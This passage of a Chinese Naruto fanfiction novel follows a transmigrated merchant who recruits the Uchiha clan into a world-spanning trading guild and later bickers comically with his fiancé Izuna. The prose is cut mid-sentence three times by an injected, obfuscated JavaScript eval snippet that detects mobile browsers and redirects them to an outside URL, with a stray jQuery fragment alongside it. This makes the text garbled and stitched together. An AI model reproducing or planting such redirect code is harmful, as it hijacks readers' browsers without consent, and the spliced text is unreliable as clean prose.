“那不一样啦,你们也知道我是商人,我可懂打工人的心思了。”安池宫得意的说道,“工作那么久,钱是赚了,但没休息时间的话,赚再多的钱也没时间和亲人朋友相处,更没时间去花啊。放假和发钱,他们就会想着怎么打发时间和花掉这些钱,这样钱就动起来了,钱一流动起来,商人就能赚钱了。到最后还是落到我口袋里。” 其他人:= = 火信长老用筷子指着安池宫,看向了泉奈。泉奈面不改色的往嘴里塞了一块炖豆腐,含糊着说:“嗯,他是奸商。非同一般的奸。” 满肚子都是生意经。装不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15160933|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了多久就会暴露奸商本性。 斑无语的道:“我就当做你是为族人着想了。但是,钱怎么会又到你口袋里?我听泉奈说你卖的东西不是茶叶就是武器药材宝石之类的,族人就算是去城里买东西,买的也是日常用品吧,就是去吃饭,你也不做餐食生意。” 安池宫咦了一声:“我没说吗?栗海城最热闹的那几条闹街,全都是我的。从上个月开始就已经全部盘下来了。八成的城民都在给我打工呢。就连城主家吃的用的,也都是从我这边经手的。” 几人:“……” 齐齐震惊的看向懵了的泉奈。泉奈哑然说:“这事他真没告诉我。” 安池宫恍然,连忙甩锅:“这事不能怪我,泉奈你之前都多久没找我了,要是你有找我,我肯定就说了。”才怪,撩到手了才会说,不然就留着监视这小子,什么时候进城又或者吃了什么买了什么,这可都是珍贵的追人情报! 第一次见面的时候,就是靠着有眼线,才成功‘偶遇’的!就是后头这小子想英雄救美没救成功有点超出预计,问题也不大,也算是混个眼熟了。 说起来,这小子当时还骗他,报了‘水矢’这个假名,到头来‘水矢’原来是他的忍猫啊。 泉奈才不管他甩什么锅,也看出这小子没说实话,他不纠结这点事,只是道:“你怎么连这些生意都做?”他倒不是觉得这生意不好,“业务这么多,忙得过来吗?”这摊子是不是铺太大了? 就算没做过生意,都知道这种事不同寻常。 “算是一个试水吧,我想开一个什么都经营的商会。”安池宫嘴角扬得高高的,看向了斑,“大哥,不,宇智波的族长大人,有兴趣来做一笔大生意吗?” 提到商会,他的眼睛闪闪发亮,就好像早已经布好蓝图一般,目光如炬:“前期工作基本准备好,火之国、雷之国、风之国和沿途所有国家的商路也制定完毕。各个国家的大名贵族,能打点的也找好了,打点不了的也全部废掉了……” 他似乎并不觉得自己最后那句话代表着什么惊人的含义。嘴角的笑意堪称狂傲,眼里的野心暴露无疑:“目前最大的难题就是如何打通商路,这需要强而有力的武力来做保障。目前加入的忍族有火之国的奈良、山中、秋道、犬冢、油女,雷之国的夜月、忍者武装组织‘艾雷之家’,风之国的傀儡师世家赤砂,从水之国挖过来的冰遁血继限界的雪之一族,还有涡之国……” 他顿了一下,道:“我支持涡之国的国主之女漩涡水户叛变篡位,按照这个时间点应该这几天就会有消息。只要她成功了,漩涡家族也会是很强大的一股战力。她不想作为联姻的棋子嫁入千手家,对商会的期待值很高,本身能力也很强,野心勃勃,很多事情交给她办会很放心……” 说完,他眯起双眼,笑容越发灿烂:“本来是想要长期委托的,但现在都是一家人,宇智波一族可以直接参股,直接从商会利润中按比例分钱,我敢担保,这可比打什么国战赚钱多了,先是包揽这些国家所有涉及民生到军事的生意,再扩大到整个世界……” 已经兴奋得,就连语气都变了调,沙哑得就像是蓄势待发的猛兽要捕猎强大猎物一般的,眼里都浮上了些许水汽,双目如同水洗过般的澈亮:“打打杀杀有什么意思,人性是趋利避害的,也是贪图安逸的,当和平带来的收益远大于战争叛变,他们自己就会自发的去维护。从上而下操控所有国家的经济命脉,到时候谁想打仗,坏商会的好事,直接就可以从这块入手,从内部分化怂恿,为了自身的利益,他们的国民自己就会将源头消灭,就是更进一步,让其他利益受损的国家将之围攻,不需要商会出丁点力气,也能轻轻松松灭掉一国……” 战国时代,基本没有什么秩序可言。就连制度都十分死板。所以在来到这个世界,稍微了解之后,他就知道这块市场就是一片空白。 还有什么比空白的市场更好介入的吗?千载难逢的机会! 他目光灼灼的盯着斑:“我要雇佣的不是几个人,几十个人,而是整个宇智波一族!还请斑族长好好思量,若是宇智波错过这个时机,后续等商会建立起来秩序成型,想掺一脚,就得照顾到所有股东的意见,可就没现在这么好的待遇了。” 16.第 16 章 一室寂静。 安池宫并不意外他们的震惊,因为在他第一次提出这个理念的时候,当时在场的只有奈良家的族长和奈良修二。他们当时的情绪可比在场的宇智波们要激动得多。 一年前他刚来到这个世界的时候,身负重伤,因为安命蛊缺失的缘故,一度担心自己会死在那片荒郊野岭里。 幸运的是被回族地路上的奈良修二救了。奈良修二虽然是个怕麻烦的人,但心地善良,竟然对他伸出了援手,甚至将他带回了族地。 不过也可能是因为他不是忍者的缘故吧,在忍者看来没有查克拉的普通人威胁性不是太高。 哦,虽然后来证实其实是脸发挥了大作用……啧啧啧,所以长得好看真的很有优势吧!但凡丑一点的,都没这种待遇。 这样谁还能怪他对这张脸过分重视!因为好处真的很多啊! 在末世摸爬打滚多年,随机应变的能力是刷到满级的。 他当时伤到了嗓子说不了话,而且不懂这个世界的语言,稍微一点肢体引导,一副浑浑噩噩呆愣愣的模样,就让那群忍者在脑子里脑补了十几万字的虐文,总算是熬过了一开始最艰难的一个月,等学会这个世界的语言之后,也从中知晓了很多关于这个世界的规则。 畸形而奇怪的制度和等级观念。 大名贵族几乎占有了世界上大半的土地和资源,而拥有强大力量的忍者则是充当雇佣兵的角色,还得从这些贵族底下讨生活。 他完全无法理解这种社会构成,因为在他看来拥有力量才有话柄权,那些羸弱的普通人本应该才是被劳役的那一方。 可既然是已经沿袭了上千年的固定规则,形成了根深蒂固的观念,那他又何必做那个思想启蒙者带动忍者反抗呢。再者说了,他也没查克拉,作为外来者和忍者又不是一国的,更重要的是他又不care。 推翻一个制度重新建立一个新制度,光是想想这工作量就不是一代两代能轻易完成的。他好不容易从原生世界跑到异世界,可不是为了让自己受苦的。 况且,拥有完整制度的原生世界,在外星系高纬度文明之下还不是照样毫无抵抗之力。 安池宫作为末世之后出生的那批孩子,可没受过什么正经的系统教育,精英阶层早就脱离了地球去了更高的文明,剩下来的那群人也是苦苦熬着日子,破破烂烂的世界也不需要别人去拯救。 他所有三观的建立,基本靠自己体悟和那些零零散散的虐文小说,还有从一些游戏副本里接触到的知识。 拼拼凑凑的,勉强将一个大魔王特质的人变成了一个小小的小反骨仔,他已经这么努力的活着了,那自然要继续更好的活着啊。 比来比去,就算是这样奇怪的世界,也比他的原生世界好了上万倍好不好。 安池宫舔了舔嘴角,对紧皱着眉一身煞气的斑说:“我这边没那么急切,但最好在七天内给予答复。因为十天后,是商会正式建会的日子,到时候各方代表都会齐聚一堂。中间间隔的三天,我需要整合现有的资源来做商会阶段发展的排布。如果您对此还没有一个清晰的概念,我也可以现在让店里的忍者送一份完整的企划书过来。” 斑的煞气对他毫无影响,可能是因为安池宫早就习惯了各种各样危险的环境,别说是煞气了,就算是在杀气遍布的地方,稍微有点喘息空间他都能睡得很香甜,尽可能的回复精力。 安命蛊是好用没错,但人长期不睡觉可是会死的。 况且,斑对他没有恶意,更甚至将他当成自己人,虽然表现得不明显,但安池宫能确定若是自己出事的话,对方肯定不会坐视不管。 这一点他是不会误判的,因为作为一名末世之人,迅速分辨周边人对自己的善恶感官从中寻找可以短暂或者长期结盟的同伴,也是一项生死中锻炼出来的必修课。 宇智波斑现在这副凶悍的模样更像是一名长期处于精神紧绷状态的忍者,在遇到事情时下意识的防御表现。 ——难怪泉奈会因为我亲近大哥而吃惊,就连大哥都很不习惯这种亲近。 ——这副气势真的很容易吓哭男女老幼的。 斑心情复杂的看着面前这个神采奕奕,满身抱负和野心的年轻人。 他知道安池宫店里有忍者,就算不用写轮眼,分辨出周边一定范围内有没有拥有查克拉的人,对宇智波斑这样的强者来说易如反掌。 更别说他这人警惕心很强,不管去哪里都会先初步探查一下周围,这已经形成了一种本能。 安茶斋里只有两名忍者,岁数都不大,其中一个查克拉量很足,另一个查克拉不多。但安池宫是一名商人,做着和达官贵人交易的商人,身边有忍者保护很正常。 而且那两名忍者显然也和他不住在一起,对方的后宅里除了几名作为仆人的普通人外,就只有他一名主人。 但他完全没想到,安池宫做的生意竟然大到这种程度。先别提他说的那个商会日后会不会有那么大的能量,能够有这样的想法,更甚至拉了那么多盟友,贵族大名那边的也有了计划,更甚至还搅黄了千手与漩涡家的联姻,支持漩涡水户和自己的父亲打擂台,甚至篡位…… 斑心情有点乱,他本来就对这块的事情没什么天赋,就习惯性的看向泉奈。 泉奈张了张唇,才道:“漩涡家和千手家是远亲,虽然时有联姻,但在漩涡水户这一代之前,已经有三代没有联姻过。如果不是千手柱间从小觉醒了木遁,天赋极强,这一代的联姻也本不会有。” 两家的关系肯定算是亲近的,但战乱时代,这样的亲近也就是比普通的有相交的其他忍族要好一些。 忍界的忍者们大多都是以家族为单位繁衍生息,内部通婚很正常,出于职业和环境的特殊性,加上两家居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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斑沉声道:“他比我强。”他从不会因为自尊心的问题而否认这一点。因为过去无数次交手,他早就明白这一点。更甚至在少年时与对方成为联络频繁的好友时期,他也已经知道对方的天赋在自己之上。 安池宫点点头:“因为他很强,又是忍界唯二的大忍族之一,如非必要水户姐不会和对方轻易树敌。她自尊心可强了,明明拥有不输给同辈人的天赋实力,更甚至比他们更为努力,却还是无法说服她的父亲别让她去联姻……” 说着他笑了起来:“嘛~明明是忍者,建国之后也搞起贵族父权那一套了。对水户姐来说,这种联姻就等于是将她判了死刑,千手家本来就思想保守,上下尊卑观念森严,作为嫁进去的人,依附着丈夫而活,只能守在后宅里生儿育女,对她来说是最大的羞辱。所以,就算不树敌,要说多亲近也不可能。对我这边,可真是瞌睡送枕头的大好事。” 17.第 17 章 斑思索了一会,对安池宫道:“我除了泉奈之外,还有三个弟弟……都死在战场上。其中有一个死在千手族人手里。” 安池宫眨了眨眼,没有打断对方的话。提起这件事对斑来说并不容易。他低垂着眉眼缓了好一会儿,才继续道:“千手柱间还有两个弟弟也战死,其中一个死在我们族人手中。我和他一样,都只剩下一个弟弟了……少年时我们在不知道彼此身份的时候认识,都拥有改变忍界现状,保护仅剩的弟弟的想法。后来身份暴露后,我们多次在战场上交手……不过,他一直没有放弃过这个想法,想跟宇智波联盟也是因为,他想和宇智波一族一起,建立一个能把弟弟还有孩子们保护起来的村子,并携手改变这个忍界,结束战争获得和平。” 安池宫看了眼泉奈。对方仅是点点头,没有多说什么,无声的握着斑的手,想通过这种方式抚慰兄长提到其他夭折兄弟的悲伤。 泉奈并没有和安池宫提起过多的家事,他只说家里就剩下他和他大哥二人。 但就跟安池宫对过去糟糕的经历没有谈兴也不需要他人怜悯同情一样,他也知道斑不需要安慰。人已经死了,度过了最痛苦的时光,安慰的话语也不能起到丝毫抚慰的作用,反而是再度勾起那痛苦的回忆。 他还记得昨天晚上斑来找自己时的模样,那仿佛失去了一切的死寂眼神……若是泉奈不能复活,宇智波斑的心也会跟着死去吧。 于是他在沉默一会后,转移话题:“所以千手柱间是打算统一世界吗?” “咦?”斑抬起头来,刚才勾起的悲伤瞬息消失无踪,瞪大着眼睛愣愣的看着安池宫。 安池宫皱眉深思:“这可就难办了,我觉得这对商会来说并不是好事,甚至是最严重的坏事。就算他比大哥强大好了,就算千手家是大忍族并人人支持他好了,世界这么大,想要征服起来也不容易,而且时局会变得更加混乱,各国的大名可不会对此坐视不管,战争打不完,商会经营的风险就会大幅上涨……” “不,我是说……”斑对这个未来弟夫的脑子是真的服气。 别说他吓了一跳,其他人也跟着吓了一跳。可鉴于对方是能够说出用经济来操纵世界,用共同利益来换取和平的人,所以在短暂吃惊之后还是快速回复心情。 他道:“柱间是说想建立一个村子,应该不是……不对。”他单手抵着下颌,道,“也对,如果只是建立一个村子的话,其实不用硬性要求和宇智波同盟也能办得到。现在已经不用担心泉奈会轻易死去,我也不需要村子来保护他,那他只需要建立自己的村子保护他弟弟就行了。” 三名长老:“……” 泉奈清了清嗓子说:“哥哥,族人也是要保护的。”幸亏已经屏退了其他忍者,不然哥哥你…… 阿曼长老面无表情的说:“泉奈你不用替他描补,反正我们都习惯了。” 火信长老半眯着眼睛吐槽:“是啊是啊,反正斑只需要能带着族人战斗就行了,其他事情有泉奈在呢。就是因为这样,才会让泉奈当副族长的。” 不然一个忍族也不需要同时有正副族长。一个负责战斗一个负责管理家族,对宇智波家这一代是必要的。 斑没管长老们的吐槽,继续道:“还有四天就是和千手家谈和的日子。如果到时候柱间还不满足只是止战条约,还有和宇智波一族结盟建村的打算……” 安池宫眼里骤然闪过一抹厉色,扬起嘴角道:“那他肯定是想征服世界。大哥,这可不行呢,族长和世界之主从心态和立场都是不一样的,宇智波打定主意不结盟,那么作为唯一能和千手家抗衡的忍族,就只会是他的眼中钉肉中刺。” 斑冷笑道:“他是比我强一点,但还不到能杀死我的程度。而且现在宇智波家已经不一样了,谁先弄死谁还说不准呢。” 安池宫:“我明白了,我会通知手底下咳咳、商会未来的同盟忍族尽快派人赶过来,和谈那天我也一起去,我来试探他到底是什么意思。如果真的想征服世界,那自然是在千手家与其他忍族联盟之前,先把他们一族做掉!” 他从跪坐改成盘坐,面色严肃的道:“世界太大了,就现有的水平去征服世界的话,打下再多的土地无人去管理也不过是便宜摘桃子的得利者。千手家都是忍者,他们懂的屁的政治,到时候还不是要让那些贵族或者武士阶层的人去管理,就算是他手底下有忍者动心想自己管理,那情况也不会有什么改变,现在的忍者与普通人之间本来就有很大的隔阂,光靠武力普通人是奈何不了忍者,但论心机,常年战斗的忍者也比不过他们。搞到最后不过是乌烟瘴气,世界各地群雄割据,平定了这一方,另一方就出问题,他难道还能分出几千几万个分/身,挨个平定吗?平定了这边,还有另一边,人的欲望是无穷无尽的,而他总有老的死的时候,千手家的人总有死伤惨重的时候,到时候等他一死,靠剩下那点被打残的族人也不会有活路——” 安池宫正视着斑的眼睛,目光坚毅的道:“大哥,我们宇智波本来就跟他们有仇,泉奈是真的死了一次。虽然他们不知道泉奈是复活的,但是,如果任由他们这种野心的话,不愿意同盟的宇智波家就只会有无穷无尽的麻烦——我们必须早做打算!” 斑也做好了打算,咧嘴冷笑:“自然。他要是敢有那个想法,那就先把他弄死!” 就算是朋友,也抵不过他弟弟和弟夫的一根头发重要! 安池宫握着他的双手说道:“那商会——” 斑:“你是宇智波家的人,我还能不信你。而且听起来确实比征服世界靠谱太多了。你说的没错,人性险恶,利欲能熏心,但反过来也能被利用。打下来管理不了能顶什么用,用利益来让他们妥协,就像把他们关进羊圈里面一个个养肥了,就懒得动弹了。”宰杀起来也容易了。 安池宫目光迷离,继续道:“那商会——” 斑一拍膝盖:“宇智波入了!” “太好了!我就知道大哥最好了!”安池宫激动的一把抱住斑,抱着他的脖子,脸在他脸上蹭来蹭去。“大哥最帅了!不愧是我安池宫的大哥!不愧是我们宇智波最强的族长!” 斑虽然还不习惯被人这样抱着夸,但也没推开,用手指蹭了蹭鼻子,红着耳根说:“心里知道就好,没必要说出来。” 摊上这样爱撒娇的义弟还能怎么办呢?做哥哥的当然是选择原谅啊。再说了,被抱抱蹭蹭又不会少块肉。 树希长老淡定的抿了口茶,对目瞪口呆的泉奈说:“是你自己挑的,我们宇智波家可是只有丧偶没有离婚的。” 火信长老双手插袖,唉声叹气。 阿曼长老翻了个白眼:“我就知道这小子油嘴滑舌,滑头得很。”还有,斑确实一直很好骗。 不仅好骗,还好哄。还有安池宫这小子,才见家长不到两天就把斑哄得见不着北,本事非一般的厉害。 ——如果当搅家精,什么家都能被他搅散吧。 不过商会听起来确实比千手家想统治世界要靠谱得多,安池宫是个心有成算的人,宇智波家又不是第一个想参与的忍族,如果这是场骗局,前头那些忍族早就发现了。 就算是骗局也无所谓,以宇智波家的实力加上安池宫有理有据的阐述,假的也能变成真的。 长老们纷纷起身,火信长老揉着后脖抱怨:“不是说要放三天假吗?事情怎么就变多了呢?” 三人往外走去,一边走一边闲聊。 阿曼长老:“就当做是和千手一家死战之前的休息好了,劳逸结合也很重要。而且还有其他忍族参与,对我们家族的压力就没那么大。” 树希长老:“瞌睡送枕头啊……这句话也能用在现在的家族里吧。刚准备接新的业务,业务就上门了。开通商路可比打国战要轻松多了。” 三人一前一后的离开,泉奈抬在半空的手只能够放下。扭头就看到安池宫眨巴着眼睛看着自己,还朝自己抬了抬下巴。 是在邀请。 泉奈抿了抿唇,最后还是抵不过安池宫的挤眉弄眼,红着脸加入了抱自家大哥的行列。 斑:0V0 虽说他和泉奈的兄弟情很牢固没错,但从泉奈八岁之后,还是第一次这么主动的抱他耶! 这样的好事傻子也不会拒绝! 而赶过来的火核,刚到门外还没来得及汇报,就被里面那一幕给惊得浑身僵硬,身体像石头一样硬邦邦的无法动弹。 那双昨晚刚觉醒的万花筒显露出来,惊恐的看着屋内,自家那位,总是顶着一张不高兴脸的族长,此刻笑得见牙不见眼的,左抱弟弟右抱弟夫,幸福得仿佛能看到身后开出来的小花花。 火核:!!! 确认过写轮眼,竟然不是做噩梦! 火核顶着淡淡的黑眼圈,怀疑自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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泉奈偏过头,朝着他笑靥如花的说:“复活后筋骨有些松了,我去跟他们练练。放心,我有分寸。” 还没走出几步,就觉得大腿一重。 安池宫抱着他的右腿瞳孔地震的仰头看着他:“练?练什么练?我们明天就结婚了啊,现在每分每秒都很重要——难道战斗还能比和我谈恋爱重要吗?!” 泉奈:= = 他敷衍的说:“当然是你重要,我很快就回来。” 安池宫:“我驰骋忽悠界多年,还能看不出你在敷衍我吗?!你看起来可不是一时半会就会结束的啊!” 泉奈抬起脚,面不改色的拖着自家爱人往外走去,语气越发敷衍:“会速战速决的,别撒娇。” “不要不要!我想要和泉奈亲亲!” “回来再亲。” “那也少亲了好多回!” “等婚后补回来。” “你这家伙,放着家里这么漂亮的大美人不亲,竟然要和别人去打架!你没毛病吧!你是不行吗?!” “行不行你昨晚不是知道的么?” “就因为知道才怀疑!你都没发出声音的,是性冷感吗?!斑哥都没被你吵醒!” “毕竟我是忍者啊。池宫你才是,刚才在洗手间的时候哭得那么惨,要不是厨房离得远,就被斑哥发现了。” “哭得惨怎么了!好看啊!” “嗯嗯嗯,可好看了,待会再给我看一次。” …… 两人就这样一个走着,一个在地上拖着,越走越远。 被留下来的火核,无比同情的看着族长。 吞吞吐吐的道:“那个……族长,现在您知道为什么不能和弟弟睡觉了吧?” 斑没回应,他僵硬的坐在原地,犹如一块原石,想把人唤醒都得先把对方身体外面的那层壳给打爆。 火核满头大汗,他是没想到这两个人是真的敢、敢在族长睡觉的时候…… ——泉奈大人,您以前不是这样的人啊!不要谈个恋爱节操都见底了! ——还有安老、安大人,明明在泉奈大人以外的人面前挺高冷的,谁家男德都没你守得彻底,怎么谈个恋爱就连脸皮都不要了! 他晕乎乎的,甚至想着:要不下次还是让别人来汇报吧,说不准能多几个像我一样因为难以启齿的理由开万花筒的族人。对族人的身心不是一件好事,但对家族来说是一件幸事。